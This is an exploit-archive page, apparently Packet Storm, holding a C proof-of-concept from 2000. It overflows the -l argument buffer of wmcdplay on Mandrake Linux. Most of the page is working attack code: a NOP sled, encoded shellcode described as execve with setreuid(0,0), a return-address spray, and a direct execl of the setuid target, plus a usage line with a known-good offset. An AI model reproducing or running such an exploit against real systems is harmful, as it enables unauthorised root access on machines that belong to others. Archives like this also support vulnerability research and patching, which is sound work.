what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

led_color.c

led_color.c
Posted Mar 20, 2000
Authored by Larry W. Cashdollar | Site team-teso.net

Overflows the -l arg buffer in wmcdplay due to a bad sprintf call. Tested on Mandrake.

tags | exploit, overflow
systems | linux, mandrake
SHA-256 | dcaf4f08e182ca245fd5a67f7a6513167be09b045d4dbb23c1b92103c9d70d18

led_color.c

Change Mirror Download
/*Overflows the -l arg (led_color) buffer in wmcdplay due to a bad
*sprintf call.
*This seems to be how most of the command line arguments are called.
*Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org
*$:> gcc wmcdplay-lexp.c -o wml ;./wml <offset>
*offset 390 worked for me on Mandrake 7.0
*Credit: TESO Crew http://teso.scene.at/ for finding the original -d hole.
*/

#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90 /*no operation skip to next
instruction. */
#define LEN 534 /*our buffersize. */


char shellcode[] = /*execve with setreuid(0,0) and no '/' hellkit v1.1 */
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
"\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
"\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
"\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
"\xc2\x91";

/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{
__asm__ ("mov %esp, %eax");
}

int
main (int argc, char *argv[])
{
char buffer[LEN];
int i;

long retaddr = get_sp ();
/*Fill the buffer with our new address to jump to esp + offset */
for (i = 0; i < LEN; i += 4)
*(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs in to the buffer leaving space for shellcode and pointers*/

printf ("Jumping to address %x BufSize %d\n", retaddr + atoi (argv[1]), LEN);
for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
*(buffer + i) = NOP;
/*copy the shell code into the buffer*/
memcpy (buffer + i, shellcode, strlen (shellcode));
execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-l", buffer, 0);
}
/* www.hack.co.za */
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close